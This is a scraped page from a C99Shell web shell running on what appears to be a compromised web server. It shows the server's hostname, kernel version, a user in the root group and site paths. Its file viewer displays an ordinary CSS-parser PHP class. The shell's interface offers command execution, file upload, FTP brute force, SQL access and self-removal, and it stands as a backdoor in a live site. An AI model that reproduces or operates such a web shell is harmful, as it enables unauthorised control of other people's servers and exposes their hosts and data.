!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/sms.picotech.app/public_html/vendor/sabberworm/php-css-parser/src/Property/   drwxr-xr-x
Free 28.49 GB of 117.98 GB (24.15%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     Selector.php (3.61 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Sabberworm\CSS\Property;

/**
 * Class representing a single CSS selector. Selectors have to be split by the comma prior to being passed into this
 * class.
 */
class Selector
{
    
/**
     * regexp for specificity calculations
     *
     * @var string
     *
     * @internal
     */
    
const NON_ID_ATTRIBUTES_AND_PSEUDO_CLASSES_RX '/
        (\.[\w]+)                   # classes
        |
        \[(\w+)                     # attributes
        |
        (\:(                        # pseudo classes
            link|visited|active
            |hover|focus
            |lang
            |target
            |enabled|disabled|checked|indeterminate
            |root
            |nth-child|nth-last-child|nth-of-type|nth-last-of-type
            |first-child|last-child|first-of-type|last-of-type
            |only-child|only-of-type
            |empty|contains
        ))
        /ix'
;

    
/**
     * regexp for specificity calculations
     *
     * @var string
     *
     * @internal
     */
    
const ELEMENTS_AND_PSEUDO_ELEMENTS_RX '/
        ((^|[\s\+\>\~]+)[\w]+   # elements
        |
        \:{1,2}(                # pseudo-elements
            after|before|first-letter|first-line|selection
        ))
        /ix'
;

    
/**
     * regexp for specificity calculations
     *
     * @var string
     *
     * @internal since 8.5.2
     */
    
const SELECTOR_VALIDATION_RX '/
        ^(
            (?:
                [a-zA-Z0-9\x{00A0}-\x{FFFF}_^$|*="\'~\[\]()\-\s\.:#+>]* # any sequence of valid unescaped characters
                (?:\\\\.)?                                              # a single escaped character
                (?:([\'"]).*?(?<!\\\\)\2)?                              # a quoted text like [id="example"]
            )*
        )$
        /ux'
;

    
/**
     * @var string
     */
    
private $sSelector;

    
/**
     * @var int|null
     */
    
private $iSpecificity;

    
/**
     * @param string $sSelector
     *
     * @return bool
     *
     * @internal since V8.8.0
     */
    
public static function isValid($sSelector)
    {
        return 
preg_match(static::SELECTOR_VALIDATION_RX$sSelector);
    }

    
/**
     * @param string $sSelector
     * @param bool $bCalculateSpecificity @deprecated since V8.8.0, will be removed in V9.0.0
     */
    
public function __construct($sSelector$bCalculateSpecificity false)
    {
        
$this->setSelector($sSelector);
        if (
$bCalculateSpecificity) {
            
$this->getSpecificity();
        }
    }

    
/**
     * @return string
     */
    
public function getSelector()
    {
        return 
$this->sSelector;
    }

    
/**
     * @param string $sSelector
     *
     * @return void
     */
    
public function setSelector($sSelector)
    {
        
$this->sSelector trim($sSelector);
        
$this->iSpecificity null;
    }

    
/**
     * @return string
     *
     * @deprecated in V8.8.0, will be removed in V9.0.0. Use `render` instead.
     */
    
public function __toString()
    {
        return 
$this->getSelector();
    }

    
/**
     * @return int
     */
    
public function getSpecificity()
    {
        if (
$this->iSpecificity === null) {
            
$a 0;
            
/// @todo should exclude \# as well as "#"
            
$aMatches null;
            
$b substr_count($this->sSelector'#');
            
$c preg_match_all(self::NON_ID_ATTRIBUTES_AND_PSEUDO_CLASSES_RX$this->sSelector$aMatches);
            
$d preg_match_all(self::ELEMENTS_AND_PSEUDO_ELEMENTS_RX$this->sSelector$aMatches);
            
$this->iSpecificity = ($a 1000) + ($b 100) + ($c 10) + $d;
        }
        return 
$this->iSpecificity;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.004 ]--